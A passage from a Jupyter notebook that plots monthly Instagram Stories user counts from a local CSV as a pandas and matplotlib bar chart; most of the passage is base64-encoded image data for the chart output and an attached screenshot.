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\n", + "text/plain": [ + "
" + ] + }, + "metadata": { + "needs_background": "light" + }, + "output_type": "display_data" + } + ], + "source": [ + "import pandas as pd #import pandas as pd\n", + "import matplotlib.pyplot as plt #import matplotlib \n", + "#Reading the Comma Seperated values file using pandas\n", + "stats = pd.read_csv(\"D:\\\\DataScience\\\\Instagram DataAnalysis\\\\Usage Statistics\\\\IG2.csv\", header=0, sep=\",\") \n", + "\n", + "print(\"Instagram users stories :\\n\")\n", + "print(stats)\n", + "\n", + "df = pd.DataFrame(stats)\n", + "x = list(df.iloc[:, 0]) #get 0 colum data\n", + "y = list(df.iloc[:, 1]) #get 1 colum data\n", + "\n", + "print(\"\\nBar Graph : \")\n", + "plt.title(\"Instagram Stories users\")\n", + "plt.xlabel(\"Month-Year\")\n", + "plt.ylabel(\"Users\")\n", + "plt.bar(x,y, color='b')\n", + "plt.show() #show to plotting" + ] + }, + { + "attachments": { + "image.png": { + "image/png": "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